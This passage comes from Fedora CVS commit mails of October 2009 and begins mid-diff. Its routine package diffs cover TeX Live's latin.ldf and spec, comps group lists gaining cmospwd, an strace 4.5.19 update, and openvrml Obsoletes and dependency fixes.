-  \babel at savevariable{\uccode`\^^1a}% OT1  \ae
-  \babel at savevariable{\lccode`\^^1d}% OT1  \AE
-  \babel at savevariable{\lccode`\^^1b}% OT1  \oe
-  \babel at savevariable{\uccode`\^^1b}% OT1  \OE
-  \babel at savevariable{\lccode`\^^1e}% OT1  \OE
+\addto\extraslatin{%
+  \babel at savevariable{\lccode`\^^e6}% T1
+  \babel at savevariable{\uccode`\^^e6}% T1
+  \babel at savevariable{\lccode`\^^c6}% T1
+  \babel at savevariable{\lccode`\^^f7}% T1
+  \babel at savevariable{\uccode`\^^d7}% T1
+  \babel at savevariable{\lccode`\^^d7}% T1
+  \babel at savevariable{\lccode`\^^1a}% OT1
+  \babel at savevariable{\uccode`\^^1a}% OT1
+  \babel at savevariable{\lccode`\^^1d}% OT1
+  \babel at savevariable{\lccode`\^^1b}% OT1
+  \babel at savevariable{\uccode`\^^1b}% OT1
+  \babel at savevariable{\lccode`\^^1e}% OT1
   \SetLatinLigatures}
 \providecommand\SetLatinLigatures{%
   \def\@tempA{T1}\ifx\@tempA\f at encoding
@@ -133,76 +107,56 @@
   \fi
   \let\@tempA\@undefined
   }
-\addto\extraslatin{\def\ProsodicMarksOn{%
-\GenericError{(latin)\@spaces\@spaces\@spaces\@spaces}%
-            {Latin language error: \string\ProsodicMarksOn\space
-            is defined by setting the\MessageBreak
-            language attribute to `withprosodicmarks'\MessageBreak
-            If you continue you are likely to encounter\MessageBreak
-            fatal errors that I can't recover}%
-            {See the Latin language description in the babel
-            documentation for explanation}{\@ehd}}}
-\addto\extraslatin{\let\ProsodicMarksOff\relax}
-\catcode`\= \active
-\catcode`\^ \active
-\addto\extraslatin{\languageshorthands{latin}}%
-\addto\extraswithprosodicmarks{\bbl at activate{^}}%
-\addto\extraswithprosodicmarks{\bbl at activate{=}}%
-\addto\noextraswithprosodicmarks{\bbl at deactivate{^}}%
-\addto\noextraswithprosodicmarks{\bbl at deactivate{=}}%
-\addto\extraswithprosodicmarks{\ProsodicMarks}
-\def\ProsodicMarks{%
-\def\ProsodicMarksOn{\catcode`\^ 13\catcode`\= 13\relax}%
-\def\ProsodicMarksOff{\catcode`\^ 7\catcode`\= 12\relax}%
-\initiate at active@char{^}%
-\initiate at active@char{=}%
+\initiate at active@char{^}
+\initiate at active@char{=}
+\addto\extraslatin{\languageshorthands{latin}}
+\addto\extraslatin{\bbl at activate{^}}
+\addto\extraslatin{\bbl at activate{=}}
+\addto\noextraslatin{\bbl at deactivate{^}}
+\addto\noextraslatin{\bbl at deactivate{=}}
 \declare at shorthand{latin}{^a}{%
-    \textormath{\u{a}\bbl at allowhyphens}{\hat{a}}}%
+    \textormath{\u{a}\allowhyphens}{\hat{a}}}
 \declare at shorthand{latin}{^e}{%
-    \textormath{\u{e}\bbl at allowhyphens}{\hat{e}}}%
+    \textormath{\u{e}\nobreak\hskip\z at skip}{\hat{e}}}
 \declare at shorthand{latin}{^i}{%
-    \textormath{\u{\i}\bbl at allowhyphens}{\hat{\imath}}}%
+    \textormath{\u{\i}\nobreak\hskip\z at skip}{\hat{\imath}}}
 \declare at shorthand{latin}{^o}{%
-    \textormath{\u{o}\bbl at allowhyphens}{\hat{o}}}%
+    \textormath{\u{o}\nobreak\hskip\z at skip}{\hat{o}}}
 \declare at shorthand{latin}{^u}{%
-    \textormath{\u{u}\bbl at allowhyphens}{\hat{u}}}%
+    \textormath{\u{u}\nobreak\hskip\z at skip}{\hat{u}}}
 \declare at shorthand{latin}{=a}{%
-    \textormath{\={a}\bbl at allowhyphens}{\bar{a}}}%
+    \textormath{\={a}\nobreak\hskip\z at skip}{\bar{a}}}
 \declare at shorthand{latin}{=e}{%
-    \textormath{\={e}\bbl at allowhyphens}{\bar{e}}}%
+    \textormath{\={e}\nobreak\hskip\z at skip}{\bar{e}}}
 \declare at shorthand{latin}{=i}{%
-    \textormath{\={\i}\bbl at allowhyphens}{\bar{\imath}}}%
+    \textormath{\={\i}\nobreak\hskip\z at skip}{\bar{\imath}}}
 \declare at shorthand{latin}{=o}{%
-    \textormath{\={o}\bbl at allowhyphens}{\bar{o}}}%
+    \textormath{\={o}\nobreak\hskip\z at skip}{\bar{o}}}
 \declare at shorthand{latin}{=u}{%
-    \textormath{\={u}\bbl at allowhyphens}{\bar{u}}}%
-}
-\catcode`\= 12\relax
-\catcode`\^ 7\relax
+    \textormath{\={u}\nobreak\hskip\z at skip}{\bar{u}}}
 \addto\extraslatin{\def\LatinMarksOn{\shorthandon{^}\shorthandon{=}}}
 \addto\extraslatin{\def\LatinMarksOff{\shorthandoff{^}\shorthandoff{=}}}
-\addtoextraslatin{\LatinMarksOff}
+\catcode`\= 12\relax
+\catcode`\^ 7\relax
 \initiate at active@char{"}%
 \addto\extraslatin{\bbl at activate{"}%
 }
-\declare at shorthand{latin}{"}{%
-  \ifmmode
+\declare at shorthand{latin}{"}{\ifmmode
     \def\lt@@next{''}%
-  \else
+\else
     \def\lt@@next{\futurelet\lt at temp\lt at cwm}%
-  \fi
-  \lt@@next
+\fi
+\lt@@next
 }%
 \def\lt at allowhyphens{\nobreak\discretionary{-}{}{}\nobreak\hskip\z at skip}
 \newcommand*{\lt at cwm}{\let\lt at n@xt\relax
-  \ifcat\noexpand\lt at temp a%
+\ifcat\noexpand\lt at temp a%
     \let\lt at n@xt\lt at allowhyphens
-  \else
+\else
     \if\noexpand\lt at temp\string|%
-      \def\lt at n@xt{\lt at allowhyphens\@gobble}%
+        \def\lt at n@xt{\lt at allowhyphens\@gobble}%
     \fi
-  \fi
-  \lt at n@xt}%
+\fi\lt at n@xt}%
 \ldf at finish{latin}
 %%
 %% \CharacterTable


Index: texlive-filter-requires.sh
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/F-12/texlive-filter-requires.sh,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-filter-requires.sh	29 Aug 2008 05:09:04 -0000	1.2
+++ texlive-filter-requires.sh	21 Oct 2009 17:33:44 -0000	1.3
@@ -1,2 +1,2 @@
 #!/bin/sh
-/usr/lib/rpm/perl.req "$@" | grep -v 'perl(\(Tk\|Win32\|only\|path_tre\|just\|Htex\|Pts\|a\)'
+/usr/lib/rpm/perl.req "$@" | grep -v 'perl(\(Tk\|Win32\|only\|path_tre\|just\|Htex\|Pts\|a\|Reg_macro\)'


Index: texlive-texmf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive-texmf/F-12/texlive-texmf.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- texlive-texmf.spec	27 Jul 2009 05:52:35 -0000	1.33
+++ texlive-texmf.spec	21 Oct 2009 17:33:44 -0000	1.34
@@ -9,9 +9,12 @@
 
 %define	ptex_texmf_ver 2.5
 
+# do not provide any perl deps (#516350)
+%define __perl_provides %{nil}
+
 Name:		texlive-texmf
 Version:	2007
-Release:	29%{?dist}
+Release:	31%{?dist}
 Summary:	Architecture independent parts of the TeX formatting system
 
 Group:		Applications/Publishing
@@ -58,6 +61,7 @@ Patch3:		texlive-2007-texmfconf.patch
 Patch4:		texlive-2007-romanian.patch
 Patch5:		texlive-2007-euro.patch
 Patch6:		texlive-2007-beamerblocks.patch
+Patch7:		texlive-2007-latin.patch
 
 # Patch1000-: Japanese pTeX
 Patch1001: texlive-2007-texmf.cnf-ptex.patch
@@ -181,6 +185,7 @@ install -p -m644 %{SOURCE50} texmf-var/d
 %patch4  -p0
 %patch5  -p0
 %patch6  -p0
+%patch7  -p1
 
 cp -p %{SOURCE91} .
 
@@ -422,6 +427,9 @@ rm -rf %{buildroot}%{_texmf_main}/doc/la
 # remove $TEXMFMAIN/tex/texinfo to not to clash with texinfo (#226488)
 rm -rf %{buildroot}%{_texmf_main}/tex/texinfo/
 
+# remove dvipdfm configuration file
+rm -rf %{buildroot}%{_texmf_main}/dvipdfm
+
 # create macro file for building texlive
 mkdir -p %{buildroot}%{_sysconfdir}/rpm
 cat <<EOF > %{buildroot}%{_sysconfdir}/rpm/macros.texlive
@@ -584,9 +592,6 @@ fi
 %{_texmf_main}/bibtex/bst/[a-b]*/
 %{_texmf_main}/bibtex/bst/camel/
 %{_texmf_main}/bibtex/bst/[d-x]*/
-%dir %{_texmf_main}/dvipdfm
-%dir %{_texmf_main}/dvipdfm/config
-%{_texmf_main}/dvipdfm/config/config
 %dir %{_texmf_main}/fmtutil
 %{_texmf_main}/makeindex/
 %{_texmf_main}/metafont/
@@ -823,6 +828,12 @@ fi
 %doc %{_texmf_main}/doc/
 
 %changelog
+* Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
+- do not conflict with dvipdfm
+- update perl requires filter
+- update latin.ldf (#469948)
+- do not provide any perl dependencies (#516350)
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2007-29
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From atorkhov at fedoraproject.org  Wed Oct 21 17:42:20 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Wed, 21 Oct 2009 17:42:20 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.283, 1.284 comps-f11.xml.in, 1.314,
	1.315 comps-f12.xml.in, 1.167, 1.168 comps-f13.xml.in, 1.54, 1.55
Message-ID: <20091021174220.DA83C11C00E8@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29673

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
Added cmospwd to hardware-support.


Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.283
retrieving revision 1.284
diff -u -p -r1.283 -r1.284
--- comps-f10.xml.in	20 Oct 2009 16:02:50 -0000	1.283
+++ comps-f10.xml.in	21 Oct 2009 17:42:20 -0000	1.284
@@ -2423,6 +2423,7 @@
       <packagereq type="default">zd1211-firmware</packagereq>
       <packagereq type="optional">acpi</packagereq>
       <packagereq type="optional">acpitool</packagereq>
+      <packagereq type="optional">cmospwd</packagereq>
       <packagereq type="optional">ctapi-cyberjack</packagereq>
       <packagereq type="optional">ctapi-cyberjack-pcsc</packagereq>
       <packagereq type="optional">ctapi-cyberjack-tools</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.314
retrieving revision 1.315
diff -u -p -r1.314 -r1.315
--- comps-f11.xml.in	20 Oct 2009 16:02:50 -0000	1.314
+++ comps-f11.xml.in	21 Oct 2009 17:42:20 -0000	1.315
@@ -2802,6 +2802,7 @@
       <packagereq type="default">zd1211-firmware</packagereq>
       <packagereq type="optional">acpi</packagereq>
       <packagereq type="optional">acpitool</packagereq>
+      <packagereq type="optional">cmospwd</packagereq>
       <packagereq type="optional">ctapi-cyberjack</packagereq>
       <packagereq type="optional">ctapi-cyberjack-pcsc</packagereq>
       <packagereq type="optional">ctapi-cyberjack-tools</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.167
retrieving revision 1.168
diff -u -p -r1.167 -r1.168
--- comps-f12.xml.in	21 Oct 2009 17:10:03 -0000	1.167
+++ comps-f12.xml.in	21 Oct 2009 17:42:20 -0000	1.168
@@ -2997,6 +2997,7 @@
       <packagereq type="default">zd1211-firmware</packagereq>
       <packagereq type="optional">acpi</packagereq>
       <packagereq type="optional">acpitool</packagereq>
+      <packagereq type="optional">cmospwd</packagereq>
       <packagereq type="optional">ctapi-cyberjack</packagereq>
       <packagereq type="optional">ctapi-cyberjack-pcsc</packagereq>
       <packagereq type="optional">ctapi-cyberjack-tools</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- comps-f13.xml.in	21 Oct 2009 17:10:03 -0000	1.54
+++ comps-f13.xml.in	21 Oct 2009 17:42:20 -0000	1.55
@@ -2994,6 +2994,7 @@
       <packagereq type="default">zd1211-firmware</packagereq>
       <packagereq type="optional">acpi</packagereq>
       <packagereq type="optional">acpitool</packagereq>
+      <packagereq type="optional">cmospwd</packagereq>
       <packagereq type="optional">ctapi-cyberjack</packagereq>
       <packagereq type="optional">ctapi-cyberjack-pcsc</packagereq>
       <packagereq type="optional">ctapi-cyberjack-tools</packagereq>



From roland at fedoraproject.org  Wed Oct 21 17:48:07 2009
From: roland at fedoraproject.org (roland)
Date: Wed, 21 Oct 2009 17:48:07 +0000 (UTC)
Subject: rpms/strace/devel .cvsignore, 1.24, 1.25 sources, 1.28,
	1.29 strace.spec, 1.54, 1.55
Message-ID: <20091021174807.2D6B011C00E8@cvs1.fedora.phx.redhat.com>

Author: roland

Update of /cvs/pkgs/rpms/strace/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31756

Modified Files:
	.cvsignore sources strace.spec 
Log Message:
Update to 4.5.19


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/strace/devel/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	28 Aug 2008 23:05:17 -0000	1.24
+++ .cvsignore	21 Oct 2009 17:48:06 -0000	1.25
@@ -1 +1 @@
-strace-4.5.18.tar.bz2
+strace-4.5.19.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/strace/devel/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	28 Aug 2008 23:05:17 -0000	1.28
+++ sources	21 Oct 2009 17:48:06 -0000	1.29
@@ -1 +1 @@
-e9449fcee97e6a8ed73934c883c870e0  strace-4.5.18.tar.bz2
+2415e435d61e40315a298c80aced0cda  strace-4.5.19.tar.bz2


Index: strace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/strace/devel/strace.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- strace.spec	27 Jul 2009 04:54:17 -0000	1.54
+++ strace.spec	21 Oct 2009 17:48:06 -0000	1.55
@@ -1,7 +1,7 @@
 Summary: Tracks and displays system calls associated with a running process
 Name: strace
-Version: 4.5.18
-Release: 3%{?dist}
+Version: 4.5.19
+Release: 1%{?dist}
 License: BSD
 Group: Development/Debuggers
 URL: http://sourceforge.net/projects/strace/
@@ -55,8 +55,15 @@ make DESTDIR=%{buildroot} install
 # remove unpackaged files from the buildroot
 rm -f %{buildroot}%{_bindir}/strace-graph
 
+%define copy64 ln
+%if 0%{?rhel}
+%if 0%{?rhel} < 6
+%endif
+%define copy64 cp -p
+%endif
+
 %ifarch %{strace64_arches}
-ln %{buildroot}%{_bindir}/strace %{buildroot}%{_bindir}/strace64
+%{copy64} %{buildroot}%{_bindir}/strace %{buildroot}%{_bindir}/strace64
 %endif
 
 %clean
@@ -64,7 +71,7 @@ rm -rf %{buildroot}
 
 %files
 %defattr(-,root,root)
-%doc CREDITS ChangeLog COPYRIGHT NEWS PORTING README
+%doc CREDITS ChangeLog ChangeLog-CVS COPYRIGHT NEWS PORTING README
 %{_bindir}/strace
 %{_mandir}/man1/*
 
@@ -74,13 +81,15 @@ rm -rf %{buildroot}
 %{_bindir}/strace64
 %endif
 
-
 %changelog
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.5.18-3
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
-* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.5.18-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+* Wed Oct 21 2009 Roland McGrath <roland at redhat.com> - 4.5.19-1
+- New upstream release, work mostly by Dmitry V. Levin <ldv at altlinux.org>
+  + exit/kill strace with traced process exitcode/signal (#105371);
+  + fixed build on ARM EABI (#507576);
+  + fixed display of 32-bit argv array on 64-bit architectures (#519480);
+  + fixed display of 32-bit fcntl(F_SETLK) on 64-bit architectures (#471169);
+  + fixed several bugs in strings decoder, including potential heap
+    memory corruption (#470529, #478324, #511035).
 
 * Thu Aug 28 2008 Roland McGrath <roland at redhat.com> - 4.5.18-1
 - build fix for newer kernel headers (#457291)



From braden at fedoraproject.org  Wed Oct 21 17:49:33 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 21 Oct 2009 17:49:33 +0000 (UTC)
Subject: rpms/openvrml/F-11 openvrml.spec,1.77,1.78
Message-ID: <20091021174933.59F5811C00E8@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32117/F-11

Modified Files:
	openvrml.spec 
Log Message:
Obsolete openvrml-devel, openvrml-gl, and openvrml-gl-devel; fixed openvrml-xembed dependency.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-11/openvrml.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- openvrml.spec	16 Oct 2009 02:56:14 -0000	1.77
+++ openvrml.spec	21 Oct 2009 17:49:32 -0000	1.78
@@ -1,7 +1,7 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        VRML/X3D player and runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
@@ -47,6 +47,7 @@ Group:          Development/Libraries
 Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       boost-devel%{?_isa} >= 1.37.0
+Obsoletes:      openvrml-devel
 %description -n libopenvrml-devel
 Headers that programmers will need to develop C++ programs using
 libopenvrml.
@@ -78,6 +79,7 @@ A Java scripting engine for OpenVRML.
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
 Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+Obsoletes:      openvrml-gl
 %description -n libopenvrml-gl
 OpenGL renderer for OpenVRML.
 
@@ -88,6 +90,7 @@ Requires:       libopenvrml-gl%{?_isa} =
 Requires:       libopenvrml-devel%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       mesa-libGLU-devel%{?_isa}
+Obsoletes:      openvrml-gl-devel
 %description -n libopenvrml-gl-devel
 Headers that programmers will need to develop C++ programs using the
 OpenVRML OpenGL renderer.
@@ -96,7 +99,7 @@ OpenVRML OpenGL renderer.
 Summary:        VRML/X3D browser XEmbed component for embedding in X11 applications
 Group:          Applications/Internet
 License:        GPLv3+
-Requires:       %{name}-gl%{?_isa} = %{version}-%{release}
+Requires:       lib%{name}-gl%{?_isa} = %{version}-%{release}
 Obsoletes:      %{name}-gtkplug
 %description xembed
 VRML/X3D browser XEmbed component for embedding in X11 applications.
@@ -229,6 +232,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
+* Wed Oct 21 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-7
+- libopenvrml-devel Obsoletes: openvrml-devel.
+- libopenvrml-gl Obsoletes: openvrml-gl.
+- libopenvrml-gl-devel Obsoletes: openvrml-gl-devel.
+- openvrml-xembed Requires: libopenvrml-gl.
+
 * Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-6
 - Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
   paths with %%doc; the relative form invokes an rm -rf that blows away the



From braden at fedoraproject.org  Wed Oct 21 17:49:33 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 21 Oct 2009 17:49:33 +0000 (UTC)
Subject: rpms/openvrml/F-12 openvrml.spec,1.81,1.82
Message-ID: <20091021174933.AE63111C01EA@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32117/F-12

Modified Files:
	openvrml.spec 
Log Message:
Obsolete openvrml-devel, openvrml-gl, and openvrml-gl-devel; fixed openvrml-xembed dependency.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-12/openvrml.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- openvrml.spec	16 Oct 2009 04:53:26 -0000	1.81
+++ openvrml.spec	21 Oct 2009 17:49:33 -0000	1.82
@@ -1,7 +1,7 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        7%{?dist}
+Release:        8%{?dist}
 Summary:        VRML/X3D player and runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
@@ -47,6 +47,7 @@ Group:          Development/Libraries
 Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       boost-devel%{?_isa} >= 1.37.0
+Obsoletes:      openvrml-devel
 %description -n libopenvrml-devel
 Headers that programmers will need to develop C++ programs using
 libopenvrml.
@@ -78,6 +79,7 @@ A Java scripting engine for OpenVRML.
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
 Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+Obsoletes:      openvrml-gl
 %description -n libopenvrml-gl
 OpenGL renderer for OpenVRML.
 
@@ -88,6 +90,7 @@ Requires:       libopenvrml-gl%{?_isa} =
 Requires:       libopenvrml-devel%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       mesa-libGLU-devel%{?_isa}
+Obsoletes:      openvrml-gl-devel
 %description -n libopenvrml-gl-devel
 Headers that programmers will need to develop C++ programs using the
 OpenVRML OpenGL renderer.
@@ -96,7 +99,7 @@ OpenVRML OpenGL renderer.
 Summary:        VRML/X3D browser XEmbed component for embedding in X11 applications
 Group:          Applications/Internet
 License:        GPLv3+
-Requires:       %{name}-gl%{?_isa} = %{version}-%{release}
+Requires:       lib%{name}-gl%{?_isa} = %{version}-%{release}
 Obsoletes:      %{name}-gtkplug
 %description xembed
 VRML/X3D browser XEmbed component for embedding in X11 applications.
@@ -229,6 +232,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
+* Wed Oct 21 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-8
+- libopenvrml-devel Obsoletes: openvrml-devel.
+- libopenvrml-gl Obsoletes: openvrml-gl.
+- libopenvrml-gl-devel Obsoletes: openvrml-gl-devel.
+- openvrml-xembed Requires: libopenvrml-gl.
+
 * Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-7
 - Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
   paths with %%doc; the relative form invokes an rm -rf that blows away the



From braden at fedoraproject.org  Wed Oct 21 17:49:33 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Wed, 21 Oct 2009 17:49:33 +0000 (UTC)
Subject: rpms/openvrml/devel openvrml.spec,1.81,1.82
Message-ID: <20091021174933.E747711C00E8@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32117/devel

Modified Files:
	openvrml.spec 
Log Message:
Obsolete openvrml-devel, openvrml-gl, and openvrml-gl-devel; fixed openvrml-xembed dependency.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/devel/openvrml.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- openvrml.spec	16 Oct 2009 02:56:14 -0000	1.81
+++ openvrml.spec	21 Oct 2009 17:49:33 -0000	1.82
@@ -1,7 +1,7 @@
 # -*- rpm-spec -*-
 Name:           openvrml
 Version:        0.18.3
-Release:        8%{?dist}
+Release:        9%{?dist}
 Summary:        VRML/X3D player and runtime library
 License:        LGPLv3+
 Group:          System Environment/Libraries
@@ -47,6 +47,7 @@ Group:          Development/Libraries
 Requires:       libopenvrml%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       boost-devel%{?_isa} >= 1.37.0
+Obsoletes:      openvrml-devel
 %description -n libopenvrml-devel
 Headers that programmers will need to develop C++ programs using
 libopenvrml.
@@ -78,6 +79,7 @@ A Java scripting engine for OpenVRML.
 Summary:        OpenGL renderer for OpenVRML
 Group:          System Environment/Libraries
 Requires:       libopenvrml%{?_isa} = %{version}-%{release}
+Obsoletes:      openvrml-gl
 %description -n libopenvrml-gl
 OpenGL renderer for OpenVRML.
 
@@ -88,6 +90,7 @@ Requires:       libopenvrml-gl%{?_isa} =
 Requires:       libopenvrml-devel%{?_isa} = %{version}-%{release}
 Requires:       pkgconfig >= 0.18.0
 Requires:       mesa-libGLU-devel%{?_isa}
+Obsoletes:      openvrml-gl-devel
 %description -n libopenvrml-gl-devel
 Headers that programmers will need to develop C++ programs using the
 OpenVRML OpenGL renderer.
@@ -96,7 +99,7 @@ OpenVRML OpenGL renderer.
 Summary:        VRML/X3D browser XEmbed component for embedding in X11 applications
 Group:          Applications/Internet
 License:        GPLv3+
-Requires:       %{name}-gl%{?_isa} = %{version}-%{release}
+Requires:       lib%{name}-gl%{?_isa} = %{version}-%{release}
 Obsoletes:      %{name}-gtkplug
 %description xembed
 VRML/X3D browser XEmbed component for embedding in X11 applications.
@@ -229,6 +232,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
+* Wed Oct 21 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-9
+- libopenvrml-devel Obsoletes: openvrml-devel.
+- libopenvrml-gl Obsoletes: openvrml-gl.
+- libopenvrml-gl-devel Obsoletes: openvrml-gl-devel.
+- openvrml-xembed Requires: libopenvrml-gl.
+
 * Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com> - 0.18.3-8
 - Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
   paths with %%doc; the relative form invokes an rm -rf that blows away the



From roland at fedoraproject.org  Wed Oct 21 17:51:13 2009
From: roland at fedoraproject.org (roland)
Date: Wed, 21 Oct 2009 17:51:13 +0000 (UTC)
Subject: rpms/strace/F-10 .cvsignore, 1.24, 1.25 sources, 1.28,
	1.29 strace.spec, 1.52, 1.53
Message-ID: <20091021175113.3CBE411C00E8@cvs1.fedora.phx.redhat.com>

Author: roland

Update of /cvs/pkgs/rpms/strace/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32525/F-10

Modified Files:
	.cvsignore sources strace.spec 
Log Message:
Update to 4.5.19


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-10/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	28 Aug 2008 23:05:17 -0000	1.24
+++ .cvsignore	21 Oct 2009 17:51:12 -0000	1.25
@@ -1 +1 @@
-strace-4.5.18.tar.bz2
+strace-4.5.19.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-10/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	28 Aug 2008 23:05:17 -0000	1.28
+++ sources	21 Oct 2009 17:51:13 -0000	1.29
@@ -1 +1 @@
-e9449fcee97e6a8ed73934c883c870e0  strace-4.5.18.tar.bz2
+2415e435d61e40315a298c80aced0cda  strace-4.5.19.tar.bz2


Index: strace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-10/strace.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- strace.spec	28 Aug 2008 23:05:17 -0000	1.52
+++ strace.spec	21 Oct 2009 17:51:13 -0000	1.53
@@ -1,6 +1,6 @@
 Summary: Tracks and displays system calls associated with a running process
 Name: strace
-Version: 4.5.18
+Version: 4.5.19
 Release: 1%{?dist}
 License: BSD
 Group: Development/Debuggers
@@ -55,8 +55,15 @@ make DESTDIR=%{buildroot} install
 # remove unpackaged files from the buildroot
 rm -f %{buildroot}%{_bindir}/strace-graph
 
+%define copy64 ln
+%if 0%{?rhel}
+%if 0%{?rhel} < 6
+%endif
+%define copy64 cp -p
+%endif
+
 %ifarch %{strace64_arches}
-ln %{buildroot}%{_bindir}/strace %{buildroot}%{_bindir}/strace64
+%{copy64} %{buildroot}%{_bindir}/strace %{buildroot}%{_bindir}/strace64
 %endif
 
 %clean
@@ -64,7 +71,7 @@ rm -rf %{buildroot}
 
 %files
 %defattr(-,root,root)
-%doc CREDITS ChangeLog COPYRIGHT NEWS PORTING README
+%doc CREDITS ChangeLog ChangeLog-CVS COPYRIGHT NEWS PORTING README
 %{_bindir}/strace
 %{_mandir}/man1/*
 
@@ -74,8 +81,16 @@ rm -rf %{buildroot}
 %{_bindir}/strace64
 %endif
 
-
 %changelog
+* Wed Oct 21 2009 Roland McGrath <roland at redhat.com> - 4.5.19-1
+- New upstream release, work mostly by Dmitry V. Levin <ldv at altlinux.org>
+  + exit/kill strace with traced process exitcode/signal (#105371);
+  + fixed build on ARM EABI (#507576);
+  + fixed display of 32-bit argv array on 64-bit architectures (#519480);
+  + fixed display of 32-bit fcntl(F_SETLK) on 64-bit architectures (#471169);
+  + fixed several bugs in strings decoder, including potential heap
+    memory corruption (#470529, #478324, #511035).
+
 * Thu Aug 28 2008 Roland McGrath <roland at redhat.com> - 4.5.18-1
 - build fix for newer kernel headers (#457291)
 - fix CLONE_VFORK handling (#455078)



